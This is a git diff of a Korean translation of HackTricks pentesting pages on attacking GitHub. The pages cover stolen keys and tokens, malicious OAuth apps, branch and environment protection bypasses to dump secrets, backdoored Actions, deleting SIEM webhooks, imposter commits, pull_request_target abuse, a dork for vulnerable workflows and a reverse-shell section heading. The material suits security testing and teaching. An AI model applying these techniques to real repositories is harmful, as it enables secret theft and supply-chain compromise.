-이 키를 사용하여 사용자가 일부 권한을 가진 리포지토리에서 **변경을 수행할 수 있지만**, github API에 접근하여 환경을 나열하는 데 사용할 수는 없습니다. 그러나 **로컬 설정을 나열하여** 접근할 수 있는 리포지토리 및 사용자에 대한 정보를 얻을 수 있습니다:
+이 키를 사용하여 사용자가 일부 권한을 가진 **리포지토리**에서 **변경을 수행할 수 있지만**, github api에 접근하여 환경을 열거하는 데 사용할 수는 없습니다. 그러나 **로컬 설정을 열거하여** 접근할 수 있는 리포지토리 및 사용자에 대한 정보를 얻을 수 있습니다:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
-사용자가 자신의 github 사용자 이름으로 사용자 이름을 구성한 경우, _https://github.com/\.keys_에서 그의 계정에 설정한 **공개 키**에 접근할 수 있으며, 이를 확인하여 발견한 개인 키를 사용할 수 있는지 확인할 수 있습니다.
+사용자가 자신의 GitHub 사용자 이름으로 사용자 이름을 구성한 경우, _https://github.com/\.keys_에서 **그가 설정한 공개 키**에 접근할 수 있습니다. 이를 확인하여 발견한 개인 키를 사용할 수 있는지 확인할 수 있습니다.
**SSH 키**는 **배포 키**로 리포지토리에 설정될 수도 있습니다. 이 키에 접근할 수 있는 사람은 **리포지토리에서 프로젝트를 시작할 수 있습니다**. 일반적으로 서로 다른 배포 키가 있는 서버에서는 로컬 파일 **`~/.ssh/config`**가 관련된 키에 대한 정보를 제공합니다.
@@ -136,13 +136,13 @@ git config --list
[**여기**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md)에서 설명한 바와 같이, 때때로 커밋에 서명해야 하거나 발견될 수 있습니다.
-현재 사용자가 어떤 키를 가지고 있는지 로컬에서 확인하세요:
+현재 사용자가 어떤 키를 가지고 있는지 로컬에서 확인하십시오:
```shell
gpg --list-secret-keys --keyid-format=long
```
### 사용자 토큰 사용
-[**사용자 토큰에 대한 기본 정보**](basic-github-information.md#personal-access-tokens)를 확인하세요.
+[**사용자 토큰에 대한 기본 정보**](basic-github-information.md#personal-access-tokens)를 확인하여 소개를 참조하세요.
사용자 토큰은 HTTPS를 통한 Git의 **비밀번호 대신** 사용되거나 [**기본 인증을 통해 API에 인증하는 데 사용**](https://docs.github.com/v3/auth/#basic-authentication)될 수 있습니다. 부여된 권한에 따라 다양한 작업을 수행할 수 있습니다.
@@ -150,19 +150,19 @@ gpg --list-secret-keys --keyid-format=long
### Oauth 애플리케이션 사용
-[**Github Oauth 애플리케이션에 대한 기본 정보**](basic-github-information.md#oauth-applications)를 확인하세요.
+[**Github Oauth 애플리케이션에 대한 기본 정보**](basic-github-information.md#oauth-applications)를 확인하여 소개를 참조하세요.
-공격자는 **악성 Oauth 애플리케이션**을 생성하여 피싱 캠페인의 일환으로 이를 수락한 사용자의 권한 있는 데이터/작업에 접근할 수 있습니다.
+공격자는 **악성 Oauth 애플리케이션**을 생성하여 사용자가 이를 수락하도록 유도하고, 이를 통해 사용자의 권한 있는 데이터/작업에 접근할 수 있습니다. 이는 피싱 캠페인의 일환일 수 있습니다.
-Oauth 애플리케이션이 요청할 수 있는 [범위](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)입니다. 수락하기 전에 항상 요청된 범위를 확인해야 합니다.
+Oauth 애플리케이션이 요청할 수 있는 [범위](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)를 확인하세요. 수락하기 전에 항상 요청된 범위를 확인해야 합니다.
또한, 기본 정보에서 설명한 바와 같이, **조직은 제3자 애플리케이션에 대한 접근을 허용/거부할 수 있습니다**.
### Github 애플리케이션 사용
-[**Github 애플리케이션에 대한 기본 정보**](basic-github-information.md#github-applications)를 확인하세요.
+[**Github 애플리케이션에 대한 기본 정보**](basic-github-information.md#github-applications)를 확인하여 소개를 참조하세요.
-공격자는 **악성 Github 애플리케이션**을 생성하여 피싱 캠페인의 일환으로 이를 수락한 사용자의 권한 있는 데이터/작업에 접근할 수 있습니다.
+공격자는 **악성 Github 애플리케이션**을 생성하여 사용자가 이를 수락하도록 유도하고, 이를 통해 사용자의 권한 있는 데이터/작업에 접근할 수 있습니다. 이는 피싱 캠페인의 일환일 수 있습니다.
또한, 기본 정보에서 설명한 바와 같이, **조직은 제3자 애플리케이션에 대한 접근을 허용/거부할 수 있습니다**.
@@ -176,49 +176,49 @@ abusing-github-actions/
## 브랜치 보호 우회
-- **승인 수 요구**: 여러 계정을 타협한 경우 다른 계정에서 PR을 수락할 수 있습니다. PR을 생성한 계정만 있는 경우 자신의 PR을 수락할 수 없습니다. 그러나 리포 내에서 **Github Action** 환경에 접근할 수 있다면, **GITHUB_TOKEN**을 사용하여 **PR을 승인**하고 이렇게 1개의 승인을 받을 수 있습니다.
+- **승인 수 요구**: 여러 계정을 타협한 경우 다른 계정에서 PR을 수락할 수 있습니다. PR을 생성한 계정만 있다면 자신의 PR을 수락할 수 없습니다. 그러나 리포 내에서 **Github Action** 환경에 접근할 수 있다면, **GITHUB_TOKEN**을 사용하여 **PR을 승인**하고 이렇게 1개의 승인을 받을 수 있습니다.
- _이와 코드 소유자 제한에 대한 주의: 일반적으로 사용자는 자신의 PR을 승인할 수 없지만, 만약 가능하다면 이를 남용하여 자신의 PR을 수락할 수 있습니다._
-- **새 커밋이 푸시될 때 승인 해제**: 이 설정이 되어 있지 않으면, 합법적인 코드를 제출하고 누군가가 승인할 때까지 기다린 후 악성 코드를 추가하고 이를 보호된 브랜치에 병합할 수 있습니다.
+- **새 커밋이 푸시될 때 승인 무효화**: 이 설정이 되어 있지 않다면, 합법적인 코드를 제출하고 누군가가 이를 승인할 때까지 기다린 후 악성 코드를 추가하고 보호된 브랜치에 병합할 수 있습니다.
- **코드 소유자의 리뷰 요구**: 이 설정이 활성화되어 있고 당신이 코드 소유자라면, **Github Action이 당신의 PR을 생성하고 당신이 직접 승인할 수 있습니다**.
- **CODEOWNER 파일이 잘못 구성된 경우**: Github은 불만을 제기하지 않지만 이를 사용하지 않습니다. 따라서 잘못 구성된 경우 **코드 소유자 보호가 적용되지 않습니다.**
- **지정된 행위자가 풀 리퀘스트 요구 사항을 우회할 수 있도록 허용**: 이러한 행위자 중 하나라면 풀 리퀘스트 보호를 우회할 수 있습니다.
-- **관리자 포함**: 이 설정이 되어 있지 않으면 리포의 관리자인 경우 이 브랜치 보호를 우회할 수 있습니다.
-- **PR 하이재킹**: 다른 사람의 PR을 **수정하여 악성 코드를 추가하고, 결과 PR을 자신이 승인하고 모든 것을 병합할 수 있습니다.**
-- **브랜치 보호 제거**: **리포의 관리자인 경우 보호를 비활성화하고**, PR을 병합한 후 보호를 다시 설정할 수 있습니다.
-- **푸시 보호 우회**: 리포가 **특정 사용자만** 브랜치에 푸시(코드 병합)를 허용하는 경우(브랜치 보호가 모든 브랜치를 보호할 수 있음).
-- **리포에 대한 쓰기 권한이 있지만 브랜치 보호로 인해 코드를 푸시할 수 없는 경우**, 여전히 **새 브랜치를 생성**하고 그 안에 **코드가 푸시될 때 트리거되는 github action을 생성**할 수 있습니다. **브랜치 보호는 브랜치가 생성될 때까지 보호하지 않으므로**, 이 첫 번째 코드 푸시는 **github action을 실행**합니다.
+- **관리자 포함**: 이 설정이 되어 있지 않다면, 당신이 리포의 관리자라면 이 브랜치 보호를 우회할 수 있습니다.
+- **PR 하이재킹**: 다른 사람의 PR을 **수정하여 악성 코드를 추가하고, 결과 PR을 승인한 후 모든 것을 병합할 수 있습니다.**
+- **브랜치 보호 제거**: 당신이 **리포의 관리자라면 보호를 비활성화하고**, PR을 병합한 후 보호를 다시 설정할 수 있습니다.
+- **푸시 보호 우회**: 리포가 **특정 사용자만** 브랜치에 푸시(코드 병합)를 허용하는 경우(브랜치 보호가 모든 브랜치를 보호할 수 있음, 와일드카드 `*` 사용).
+- **리포에 대한 쓰기 권한이 있지만 브랜치 보호로 인해 코드를 푸시할 수 없는 경우**, 여전히 **새 브랜치를 생성**하고 그 안에 **코드가 푸시될 때 트리거되는 Github Action을 생성**할 수 있습니다. **브랜치 보호는 브랜치가 생성될 때까지 보호하지 않기 때문에**, 이 첫 번째 코드 푸시는 **Github Action을 실행**합니다.
## 환경 보호 우회
-[**Github 환경에 대한 기본 정보**](basic-github-information.md#git-environments)를 확인하세요.
+[**Github 환경에 대한 기본 정보**](basic-github-information.md#git-environments)를 확인하여 소개를 참조하세요.
-환경에 **모든 브랜치에서 접근할 수 있는 경우**, **보호되지 않으며** 환경 내의 비밀에 쉽게 접근할 수 있습니다. **모든 브랜치가 보호된** 리포를 찾을 수 있다는 점에 유의하세요(이름을 지정하거나 `*`를 사용하여). 이 경우, **코드를 푸시할 수 있는 브랜치를 찾아** 새로운 github action을 생성(또는 수정)하여 비밀을 **유출**할 수 있습니다.
+환경에 **모든 브랜치에서 접근할 수 있는 경우**, 이는 **보호되지 않으며** 환경 내의 비밀에 쉽게 접근할 수 있습니다. 모든 브랜치가 보호된 리포를 찾을 수 있다는 점에 유의하세요(이름을 지정하거나 `*`를 사용하여). 이 경우, **코드를 푸시할 수 있는 브랜치를 찾아** 새로운 Github Action을 생성하거나 수정하여 비밀을 **유출**할 수 있습니다.
-모든 브랜치가 보호된 경우(와일드카드 `*`를 통해) **브랜치에 코드를 푸시할 수 있는 사람**이 지정되어 있고 **당신의 사용자가 허용되지 않는 경우**에도, 브랜치를 생성하고 푸시 트리거를 사용할 수 있으므로 사용자 정의 github action을 실행할 수 있습니다. **브랜치 보호는 새 브랜치에 대한 푸시를 허용하므로 github action이 트리거됩니다.**
+모든 브랜치가 보호된 경우(와일드카드 `*`를 통해) **브랜치에 코드를 푸시할 수 있는 사람**이 지정되어 있고 **당신의 사용자가 허용되지 않는 경우**, 여전히 사용자 정의 Github Action을 실행할 수 있습니다. 브랜치를 생성하고 그 자체에 푸시 트리거를 사용할 수 있기 때문입니다. **브랜치 보호는 새 브랜치에 대한 푸시를 허용하므로 Github Action이 트리거됩니다.**
```yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
-Note that **브랜치 생성 후** **브랜치 보호가 새 브랜치에 적용되며** 수정할 수 없지만, 그때 이미 비밀을 덤프했을 것입니다.
+**브랜치 생성 후** **브랜치 보호가 새 브랜치에 적용되며** 수정할 수 없지만, 그때 이미 비밀을 덤프했을 것입니다.
-## Persistence
+## 지속성
- **사용자 토큰** 생성
- **비밀**에서 **github 토큰** 탈취
-- **워크플로우 결과** 및 **브랜치** **삭제**
+- 워크플로우 **결과** 및 **브랜치** **삭제**
- 모든 조직에 **더 많은 권한** 부여
- 정보를 유출하기 위한 **웹훅** 생성
- **외부 협력자** 초대
-- **SIEM**에서 사용된 **웹훅** **제거**
+- **SIEM**에서 사용되는 **웹훅** **제거**
- **백도어**가 있는 **Github Action** 생성/수정
- **비밀** 값 수정을 통해 **명령 주입**에 취약한 **Github Action** 찾기
-### Imposter Commits - 레포 커밋을 통한 백도어
+### 사기 커밋 - 레포 커밋을 통한 백도어
-Github에서는 **포크에서 레포에 PR을 생성**할 수 있습니다. PR이 **수락되지 않더라도**, 원본 레포 내에 **커밋** ID가 포크 버전의 코드에 대해 생성됩니다. 따라서 공격자는 **레포 소유자가 생성하지 않은 겉보기에는 합법적인 레포의 특정 커밋을 사용하도록 고정할 수 있습니다**.
+Github에서는 **포크에서 레포에 PR을 생성**할 수 있습니다. PR이 **수락되지 않더라도**, 원본 레포의 **커밋** ID가 포크 버전의 코드에 대해 생성됩니다. 따라서 공격자는 **레포 소유자가 생성하지 않은 것처럼 보이는 합법적인 레포에서 특정 커밋을 사용하도록 고정할 수 있습니다**.
-Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
+[**이와 같이**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
name: example
on: [push]
@@ -231,6 +231,6 @@ steps:
run: |
echo 'hello world!'
```
-자세한 내용은 [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)에서 확인하세요.
+자세한 내용은 [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) 를 확인하세요.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index 67daa2f4a..7c4271c7b 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -1,29 +1,29 @@
-# Abusing Github Actions
+# Github Actions 악용하기
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## 기본 정보
이 페이지에서는 다음을 찾을 수 있습니다:
-- 공격자가 Github Action에 접근하는 데 성공했을 때의 **모든 영향 요약**
+- 공격자가 Github Action에 접근하는 경우의 **모든 영향 요약**
- **액세스하는 방법**:
-- 액션을 생성할 **권한**을 가지기
-- **풀 리퀘스트** 관련 트리거 남용
-- **기타 외부 접근** 기술 남용
+- 액션을 생성할 **권한**을 갖는 것
+- **풀 리퀘스트** 관련 트리거 악용
+- **기타 외부 접근** 기술 악용
- 이미 손상된 레포에서 **피벗팅**
-- 마지막으로, **내부에서 액션을 남용하기 위한 사후 활용 기술**에 대한 섹션 (언급된 영향을 초래함)
+- 마지막으로, **내부에서 액션을 악용하기 위한 포스트 익스플로잇 기술**에 대한 섹션 (언급된 영향을 초래함)
-## Impacts Summary
+## 영향 요약
-[**Github Actions에 대한 기본 정보**](../basic-github-information.md#github-actions)를 확인하세요.
+[**Github Actions에 대한 기본 정보**](../basic-github-information.md#github-actions)를 참고하세요.
**저장소** 내에서 **GitHub Actions에서 임의의 코드를 실행**할 수 있다면, 다음을 수행할 수 있습니다:
-- 파이프라인에 마운트된 **비밀**을 **탈취**하고, AWS 및 GCP와 같은 외부 플랫폼에 대한 무단 접근을 얻기 위해 **파이프라인의 권한을 남용**할 수 있습니다.
+- 파이프라인에 마운트된 **비밀**을 **탈취하고 파이프라인의 권한을 악용**하여 AWS 및 GCP와 같은 외부 플랫폼에 무단으로 접근할 수 있습니다.
- **배포를 손상**시키고 다른 **아티팩트**를 손상시킬 수 있습니다.
- 파이프라인이 자산을 배포하거나 저장하는 경우, 최종 제품을 변경하여 공급망 공격을 가능하게 할 수 있습니다.
-- **사용자 정의 작업자에서 코드를 실행**하여 컴퓨팅 파워를 남용하고 다른 시스템으로 피벗할 수 있습니다.
+- **커스텀 워커에서 코드 실행**하여 컴퓨팅 파워를 악용하고 다른 시스템으로 피벗할 수 있습니다.
- `GITHUB_TOKEN`과 관련된 권한에 따라 **레포 코드 덮어쓰기**.
## GITHUB_TOKEN
@@ -32,7 +32,7 @@
-이 토큰은 **Github 애플리케이션이 사용할** 동일한 토큰으로, 동일한 엔드포인트에 접근할 수 있습니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+이 토큰은 **Github 애플리케이션이 사용할** 동일한 것으로, 동일한 엔드포인트에 접근할 수 있습니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github은 **레포 간** 접근을 허용하는 [**흐름**](https://github.com/github/roadmap/issues/74)을 출시해야 하며, 이를 통해 레포가 `GITHUB_TOKEN`을 사용하여 다른 내부 레포에 접근할 수 있습니다.
@@ -42,7 +42,7 @@
토큰은 **작업이 완료된 후 만료**됩니다.\
이 토큰은 다음과 같은 형식입니다: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
-이 토큰으로 할 수 있는 흥미로운 것들:
+이 토큰으로 할 수 있는 몇 가지 흥미로운 작업:
{{#tabs }}
{{#tab name="Merge PR" }}
@@ -81,7 +81,7 @@ https://api.github.com/repos///pulls \
{{#endtabs }}
> [!CAUTION]
-> 여러 경우에 **Github Actions envs 또는 secrets 안에서 github 사용자 토큰을 찾을 수 있습니다**. 이러한 토큰은 리포지토리 및 조직에 대한 더 많은 권한을 부여할 수 있습니다.
+> 여러 경우에 **Github Actions envs 또는 secrets 안에 github 사용자 토큰을 찾을 수 있습니다**. 이러한 토큰은 리포지토리 및 조직에 대한 더 많은 권한을 부여할 수 있습니다.
@@ -111,7 +111,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-비밀을 이용한 리버스 셸 얻기
+비밀을 사용하여 리버스 셸 얻기
```yaml
name: revshell
on:
@@ -141,19 +141,19 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
## 허용된 실행
> [!NOTE]
-> 이는 Github actions를 손상시키는 가장 쉬운 방법이 될 것입니다. 이 경우는 **조직에서 새 리포를 생성할 수 있는 권한**이 있거나 **리포지토리에 대한 쓰기 권한**이 있다고 가정합니다.
+> 이는 Github actions를 손상시키는 가장 쉬운 방법이 될 수 있습니다. 이 경우는 **조직에서 새 리포지토리를 생성할 수 있는 권한**이 있거나 **리포지토리에 대한 쓰기 권한**이 있는 경우를 가정합니다.
>
> 이 시나리오에 있다면 [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action)를 확인할 수 있습니다.
-### 리포 생성에서의 실행
+### 리포지토리 생성에서의 실행
-조직의 구성원이 **새 리포를 생성할 수** 있고 Github actions를 실행할 수 있는 경우, **새 리포를 생성하고 조직 수준에서 설정된 비밀을 훔칠 수** 있습니다.
+조직의 구성원이 **새 리포지토리를 생성**할 수 있고 Github actions를 실행할 수 있는 경우, **새 리포지토리를 생성하고 조직 수준에서 설정된 비밀을 훔칠 수 있습니다**.
### 새 브랜치에서의 실행
-이미 구성된 Github Action이 있는 리포지토리에서 **새 브랜치를 생성할 수** 있다면, 이를 **수정**하고, **내용을 업로드**한 다음, **새 브랜치에서 해당 액션을 실행**할 수 있습니다. 이렇게 하면 **리포지토리 및 조직 수준의 비밀을 유출**할 수 있습니다(하지만 그들이 어떻게 불리는지 알아야 합니다).
+이미 구성된 Github Action이 있는 리포지토리에서 **새 브랜치를 생성**할 수 있다면, 이를 **수정**하고, **내용을 업로드**한 다음 **새 브랜치에서 해당 액션을 실행**할 수 있습니다. 이렇게 하면 **리포지토리 및 조직 수준의 비밀을 유출**할 수 있습니다(하지만 그들이 어떻게 불리는지 알아야 합니다).
-수정된 액션을 **수동으로** 실행 가능하게 만들 수 있으며, **PR이 생성될 때** 또는 **코드가 푸시될 때**(얼마나 소란을 피우고 싶은지에 따라 다름):
+수정된 액션을 **수동으로** 실행 가능하게 만들 수 있습니다. **PR이 생성될 때** 또는 **코드가 푸시될 때**(얼마나 소란을 피우고 싶은지에 따라 다름):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -170,44 +170,44 @@ branches:
## 포크된 실행
> [!NOTE]
-> 공격자가 **다른 저장소의 Github Action을 실행**할 수 있도록 허용하는 다양한 트리거가 있습니다. 이러한 트리거 가능한 작업이 잘못 구성된 경우, 공격자가 이를 손상시킬 수 있습니다.
+> 공격자가 **다른 리포지토리의 Github Action을 실행**할 수 있도록 하는 다양한 트리거가 있습니다. 이러한 트리거 가능한 작업이 잘못 구성된 경우, 공격자가 이를 손상시킬 수 있습니다.
### `pull_request`
-워크플로우 트리거 **`pull_request`**는 풀 리퀘스트가 수신될 때마다 워크플로우를 실행합니다. 몇 가지 예외가 있습니다: 기본적으로 **처음** **협업**하는 경우, 일부 **유지 관리자가** 워크플로우의 **실행**을 **승인**해야 합니다:
+워크플로우 트리거 **`pull_request`**는 풀 리퀘스트가 수신될 때마다 워크플로우를 실행합니다. 몇 가지 예외가 있습니다: 기본적으로 **첫 번째**로 **협업**하는 경우, 일부 **유지 관리자**가 워크플로우의 **실행**을 **승인**해야 합니다:
> [!NOTE]
-> **기본 제한**이 **처음 기여하는** 기여자에게 해당되므로, **유효한 버그/오타를 수정**하여 기여한 후 **새로운 `pull_request` 권한을 남용하기 위해 다른 PR을 보낼 수 있습니다**.
+> **기본 제한**이 **첫 번째** 기여자에게 적용되므로, **유효한 버그/오타를 수정**하여 기여한 후 **새로운 `pull_request` 권한을 남용하기 위해 다른 PR을 보낼 수 있습니다**.
>
-> **이것을 테스트했지만 작동하지 않습니다**: ~~다른 옵션은 프로젝트에 기여한 사람의 이름으로 계정을 만들고 그의 계정을 삭제하는 것입니다.~~
+> **이것을 테스트했지만 작동하지 않았습니다**: ~~또 다른 옵션은 프로젝트에 기여한 사람의 이름으로 계정을 만들고 그의 계정을 삭제하는 것입니다.~~
-또한 기본적으로 **쓰기 권한**과 **비밀 접근**을 대상 저장소에 **차단**합니다. [**문서**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)에서 언급한 바와 같이:
+또한 기본적으로 **쓰기 권한**과 **비밀 접근**을 대상 리포지토리에 **제한**합니다. [**문서**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)에서 언급한 바와 같이:
-> `GITHUB_TOKEN`을 제외하고, **비밀은 포크된** 저장소에서 워크플로우가 트리거될 때 **러너에 전달되지 않습니다**. **`GITHUB_TOKEN`은 포크된 저장소의 풀 리퀘스트에서 읽기 전용 권한**을 가집니다.
+> `GITHUB_TOKEN`을 제외하고, **비밀은** **포크된** 리포지토리에서 워크플로우가 트리거될 때 **러너에 전달되지 않습니다**. **`GITHUB_TOKEN`은 포크된 리포지토리의 풀 리퀘스트에서 읽기 전용 권한을 가집니다**.
-공격자는 Github Action의 정의를 수정하여 임의의 작업을 실행하고 임의의 작업을 추가할 수 있습니다. 그러나 언급된 제한으로 인해 비밀을 훔치거나 저장소를 덮어쓸 수는 없습니다.
+공격자는 Github Action의 정의를 수정하여 임의의 작업을 실행하고 임의의 작업을 추가할 수 있습니다. 그러나 언급된 제한으로 인해 비밀을 훔치거나 리포를 덮어쓸 수는 없습니다.
> [!CAUTION]
-> **네, 공격자가 PR에서 트리거될 Github Action을 변경하면, 그의 Github Action이 사용되고 원본 저장소의 것이 아닙니다!**
+> **네, 공격자가 PR에서 트리거될 Github Action을 변경하면, 그의 Github Action이 사용되고 원본 리포의 것이 아닙니다!**
공격자가 실행되는 코드를 제어하므로, `GITHUB_TOKEN`에 비밀이나 쓰기 권한이 없더라도 공격자는 예를 들어 **악성 아티팩트를 업로드**할 수 있습니다.
### **`pull_request_target`**
-워크플로우 트리거 **`pull_request_target`**은 대상 저장소에 **쓰기 권한**과 **비밀 접근**을 가집니다(권한 요청을 하지 않음).
+워크플로우 트리거 **`pull_request_target`**은 대상 리포지토리에 **쓰기 권한**과 **비밀 접근**을 가집니다(권한 요청 없음).
워크플로우 트리거 **`pull_request_target`**은 **PR에서 제공된 것**이 아니라 **기본 컨텍스트에서 실행**됩니다(신뢰할 수 없는 코드를 **실행하지 않기 위해**). `pull_request_target`에 대한 자세한 정보는 [**문서**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)를 확인하세요.\
또한 이 특정 위험한 사용에 대한 자세한 정보는 [**github 블로그 게시물**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)을 확인하세요.
-**실행된 워크플로우**가 **기본**에서 정의된 것이고 **PR**에서 정의된 것이 아니기 때문에 **`pull_request_target`**을 사용하는 것이 **안전**해 보일 수 있지만, **안전하지 않은 몇 가지 경우가 있습니다**.
+**실행된 워크플로우**가 **기본**에서 정의된 것이고 **PR**에서 정의된 것이 아니기 때문에 **`pull_request_target`**을 사용하는 것이 **안전해 보일 수 있지만**, **안전하지 않은 몇 가지 경우가 있습니다**.
이것은 **비밀에 접근할 수 있습니다**.
### `workflow_run`
-[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) 트리거는 다른 워크플로우가 `완료`, `요청됨` 또는 `진행 중`일 때 워크플로우를 실행할 수 있도록 합니다.
+[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) 트리거는 다른 워크플로우가 `완료`, `요청됨` 또는 `진행 중`일 때 워크플로우를 실행할 수 있게 합니다.
이 예제에서는 별도의 "테스트 실행" 워크플로우가 완료된 후 실행되도록 워크플로우가 구성되어 있습니다:
```yaml
@@ -217,10 +217,10 @@ workflows: [Run Tests]
types:
- completed
```
-Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
+또한, 문서에 따르면: `workflow_run` 이벤트로 시작된 워크플로우는 **이전 워크플로우가 아닌 경우에도 비밀을 액세스하고 토큰을 쓸 수 있습니다.**
-이런 종류의 워크플로우는 **외부 사용자가 `pull_request` 또는 `pull_request_target`을 통해 트리거할 수 있는** **워크플로우**에 **의존**할 경우 공격받을 수 있습니다. 몇 가지 취약한 예시는 [**이 블로그에서 찾을 수 있습니다**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 첫 번째는 **`workflow_run`**으로 트리거된 워크플로우가 공격자의 코드를 다운로드하는 것입니다: `${{ github.event.pull_request.head.sha }}`\
-두 번째는 **신뢰할 수 없는** 코드에서 **`workflow_run`** 워크플로우로 **아티팩트**를 **전달**하고 이 아티팩트의 내용을 **RCE에 취약하게** 사용하는 것입니다.
+이러한 종류의 워크플로우는 **외부 사용자가 `pull_request` 또는 `pull_request_target`을 통해 트리거할 수 있는 워크플로우에 의존하는 경우 공격받을 수 있습니다.** 몇 가지 취약한 예시는 [**이 블로그에서 찾을 수 있습니다**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 첫 번째 예시는 **`workflow_run`**으로 트리거된 워크플로우가 공격자의 코드를 다운로드하는 것입니다: `${{ github.event.pull_request.head.sha }}`\
+두 번째 예시는 **신뢰할 수 없는** 코드에서 **`workflow_run`** 워크플로우로 **아티팩트**를 **전달**하고 이 아티팩트의 내용을 **RCE에 취약하게** 사용하는 것입니다.
### `workflow_call`
@@ -230,18 +230,18 @@ TODO: `pull_request`에서 실행될 때 사용/다운로드된 코드가 원본
## 포크된 실행 남용
-외부 공격자가 GitHub 워크플로우를 실행하도록 만드는 모든 방법을 언급했습니다. 이제 이러한 실행이 잘못 구성된 경우 어떻게 남용될 수 있는지 살펴보겠습니다:
+외부 공격자가 GitHub 워크플로우를 실행하도록 만드는 모든 방법을 언급했으니, 이제 잘못 구성된 경우 이러한 실행이 어떻게 남용될 수 있는지 살펴보겠습니다:
### 신뢰할 수 없는 체크아웃 실행
-**`pull_request`**의 경우, 워크플로우는 **PR의 컨텍스트에서** 실행되므로 **악의적인 PR의 코드**를 실행하게 됩니다. 그러나 누군가가 **먼저 이를 승인해야** 하며, [제한 사항](./#pull_request)과 함께 실행됩니다.
+**`pull_request`**의 경우, 워크플로우는 **PR의 컨텍스트에서** 실행되므로 **악의적인 PR 코드**를 실행하게 되지만, 누군가가 **먼저 이를 승인해야** 하며, [제한 사항](./#pull_request)과 함께 실행됩니다.
-**`pull_request_target` 또는 `workflow_run`**을 사용하는 워크플로우가 **`pull_request_target` 또는 `pull_request`**에서 트리거될 수 있는 워크플로우에 의존하는 경우, 원본 리포지토리의 코드가 실행되므로 **공격자는 실행된 코드를 제어할 수 없습니다**.
+**`pull_request_target` 또는 `workflow_run`**을 사용하는 워크플로우가 **`pull_request_target` 또는 `pull_request`**에서 트리거될 수 있는 워크플로우에 의존하는 경우, 원본 리포지토리의 코드가 실행되므로 **공격자는 실행된 코드를 제어할 수 없습니다.**
> [!CAUTION]
> 그러나 **액션**에 **명시적인 PR 체크아웃**이 있어 **PR에서 코드를 가져오는 경우**(기본에서가 아님), 공격자가 제어하는 코드를 사용하게 됩니다. 예를 들어 (PR 코드가 다운로드되는 12번째 줄을 확인):
-
-잠재적으로 **신뢰할 수 없는 코드는 `npm install` 또는 `npm build` 중에 실행됩니다**. 빌드 스크립트와 참조된 **패키지는 PR 작성자가 제어합니다**.
+잠재적으로 **신뢰할 수 없는 코드는 `npm install` 또는 `npm build` 중에 실행됩니다**. 빌드 스크립트와 참조된 **패키지는 PR 작성자가 제어합니다.**
> [!WARNING]
-> 취약한 액션을 검색하기 위한 GitHub 도크는: `event.pull_request pull_request_target extension:yml`입니다. 그러나 액션이 불안전하게 구성되더라도 작업을 안전하게 실행하도록 구성하는 다양한 방법이 있습니다(예: PR을 생성하는 행위자가 누구인지에 대한 조건을 사용하는 것).
+> 취약한 액션을 검색하기 위한 GitHub 도크는: `event.pull_request pull_request_target extension:yml`입니다. 그러나 액션이 불안전하게 구성되더라도 작업을 안전하게 실행하도록 구성하는 다양한 방법이 있습니다(예: PR을 생성하는 행위자가 누구인지에 대한 조건 사용).
### 컨텍스트 스크립트 주입
-특정 [**GitHub 컨텍스트**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)가 있으며, 이 값은 **PR을 생성하는 사용자**에 의해 **제어됩니다**. GitHub 액션이 이 **데이터를 사용하여 무언가를 실행하는 경우**, **임의 코드 실행**으로 이어질 수 있습니다:
+특정 [**GitHub 컨텍스트**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)의 값은 **PR을 생성하는 사용자에 의해 제어됩니다.** GitHub 액션이 이 **데이터를 사용하여 무엇이든 실행하는 경우**, **임의 코드 실행**으로 이어질 수 있습니다:
{{#ref}}
gh-actions-context-script-injections.md
@@ -286,9 +286,9 @@ gh-actions-context-script-injections.md
